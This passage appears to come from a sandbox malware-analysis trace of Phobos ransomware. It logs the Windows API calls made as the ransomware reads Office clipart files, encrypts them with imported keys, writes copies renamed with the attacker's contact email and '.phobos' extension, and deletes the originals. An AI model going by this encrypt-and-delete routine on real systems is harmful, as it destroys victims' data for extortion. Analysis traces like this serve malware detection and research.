lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x9b8, lpOverlapped=0x0) returned 1 [0177.943] CryptEncrypt (in: hKey=0x1d18d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x9c0, dwBufLen=0x9c0 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x9c0) returned 1 [0177.944] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x9c0, lpOverlapped=0x0) returned 1 [0177.944] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1510) returned 1 [0177.944] CryptSetKeyParam (hKey=0x1d1510, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0177.944] CryptEncrypt (in: hKey=0x1d1510, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0177.944] CryptDestroyKey (hKey=0x1d1510) returned 1 [0177.944] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0177.944] CryptDestroyKey (hKey=0x1d18d0) returned 1 [0177.945] CloseHandle (hObject=0x2c8) returned 1 [0177.945] CloseHandle (hObject=0x2e0) returned 1 [0177.945] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf")) returned 1 [0177.946] SetEvent (hEvent=0x298) returned 1 [0177.946] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0177.946] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0177.947] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2188) returned 1 [0177.947] CloseHandle (hObject=0x2e0) returned 1 [0177.947] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf")) returned 0x220 [0177.947] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0177.947] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0177.947] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0177.947] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0177.947] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0177.948] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1810) returned 1 [0177.948] CryptSetKeyParam (hKey=0x1d1810, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0177.948] ReadFile (in: hFile=0x2e0, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x88c, lpOverlapped=0x0) returned 1 [0178.026] CryptEncrypt (in: hKey=0x1d1810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x890, dwBufLen=0x890 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x890) returned 1 [0178.026] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x890, lpOverlapped=0x0) returned 1 [0178.027] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d14d0) returned 1 [0178.027] CryptSetKeyParam (hKey=0x1d14d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0178.027] CryptEncrypt (in: hKey=0x1d14d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0178.027] CryptDestroyKey (hKey=0x1d14d0) returned 1 [0178.027] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0178.027] CryptDestroyKey (hKey=0x1d1810) returned 1 [0178.027] CloseHandle (hObject=0x2e0) returned 1 [0178.027] CloseHandle (hObject=0x2c8) returned 1 [0178.027] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf")) returned 1 [0178.029] SetEvent (hEvent=0x298) returned 1 [0178.029] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0178.029] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0178.029] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=4396) returned 1 [0178.029] CloseHandle (hObject=0x2c8) returned 1 [0178.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf")) returned 0x220 [0178.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0178.030] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0178.030] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0178.030] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0178.030] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0178.031] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1810) returned 1 [0178.031] CryptSetKeyParam (hKey=0x1d1810, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0178.031] ReadFile (in: hFile=0x2c8, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x112c, lpOverlapped=0x0) returned 1 [0178.172] CryptEncrypt (in: hKey=0x1d1810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x1130, dwBufLen=0x1130 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x1130) returned 1 [0178.172] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x1130, lpOverlapped=0x0) returned 1 [0178.173] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d18d0) returned 1 [0178.173] CryptSetKeyParam (hKey=0x1d18d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0178.173] CryptEncrypt (in: hKey=0x1d18d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0178.173] CryptDestroyKey (hKey=0x1d18d0) returned 1 [0178.173] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0178.173] CryptDestroyKey (hKey=0x1d1810) returned 1 [0178.173] CloseHandle (hObject=0x2c8) returned 1 [0178.173] CloseHandle (hObject=0x2e0) returned 1 [0178.173] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf")) returned 1 [0178.175] SetEvent (hEvent=0x298) returned 1 [0178.175] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0178.175] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0178.175] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=1564) returned 1 [0178.175] CloseHandle (hObject=0x2e0) returned 1 [0178.175] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf")) returned 0x220 [0178.175] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0178.175] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0178.176] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0178.176] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0178.176] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0178.176] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1a50) returned 1 [0178.176] CryptSetKeyParam (hKey=0x1d1a50, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0178.176] ReadFile (in: hFile=0x2e0, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x61c, lpOverlapped=0x0) returned 1 [0178.390] CryptEncrypt (in: hKey=0x1d1a50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x620, dwBufLen=0x620 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x620) returned 1 [0178.391] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x620, lpOverlapped=0x0) returned 1 [0178.391] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d17d0) returned 1 [0178.391] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0178.391] CryptEncrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0178.391] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0178.392] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0178.392] CryptDestroyKey (hKey=0x1d1a50) returned 1 [0178.392] CloseHandle (hObject=0x2e0) returned 1 [0178.392] CloseHandle (hObject=0x2c8) returned 1 [0178.392] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf")) returned 1 [0178.393] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0178.393] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0178.394] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2636) returned 1 [0178.394] CloseHandle (hObject=0x2c8) returned 1 [0178.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf")) returned 0x220 [0178.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0178.394] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0178.394] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0178.394] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0178.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0178.395] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1910) returned 1 [0178.395] CryptSetKeyParam (hKey=0x1d1910, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0178.395] ReadFile (in: hFile=0x2c8, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0xa4c, lpOverlapped=0x0) returned 1 [0178.530] CryptEncrypt (in: hKey=0x1d1910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0xa50, dwBufLen=0xa50 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0xa50) returned 1 [0178.530] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xa50, lpOverlapped=0x0) returned 1 [0178.532] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1950) returned 1 [0178.532] CryptSetKeyParam (hKey=0x1d1950, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0178.532] CryptEncrypt (in: hKey=0x1d1950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0178.532] CryptDestroyKey (hKey=0x1d1950) returned 1 [0178.532] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0178.532] CryptDestroyKey (hKey=0x1d1910) returned 1 [0178.532] CloseHandle (hObject=0x2c8) returned 1 [0178.532] CloseHandle (hObject=0x2e0) returned 1 [0178.532] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf")) returned 1 [0178.534] SetEvent (hEvent=0x298) returned 1 [0178.534] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0178.534] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0178.534] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=3128) returned 1 [0178.534] CloseHandle (hObject=0x2e0) returned 1 [0178.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf")) returned 0x220 [0178.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0178.535] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0178.535] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0178.535] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0178.535] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0178.536] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1550) returned 1 [0178.536] CryptSetKeyParam (hKey=0x1d1550, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0178.536] ReadFile (in: hFile=0x2e0, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0xc38, lpOverlapped=0x0) returned 1 [0178.559] CryptEncrypt (in: hKey=0x1d1550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0xc40, dwBufLen=0xc40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0xc40) returned 1 [0178.559] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xc40, lpOverlapped=0x0) returned 1 [0178.560] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1910) returned 1 [0178.560] CryptSetKeyParam (hKey=0x1d1910, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0178.560] CryptEncrypt (in: hKey=0x1d1910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0178.560] CryptDestroyKey (hKey=0x1d1910) returned 1 [0178.560] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0178.560] CryptDestroyKey (hKey=0x1d1550) returned 1 [0178.560] CloseHandle (hObject=0x2e0) returned 1 [0178.560] CloseHandle (hObject=0x2c8) returned 1 [0178.560] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf")) returned 1 [0178.562] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0178.562] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft 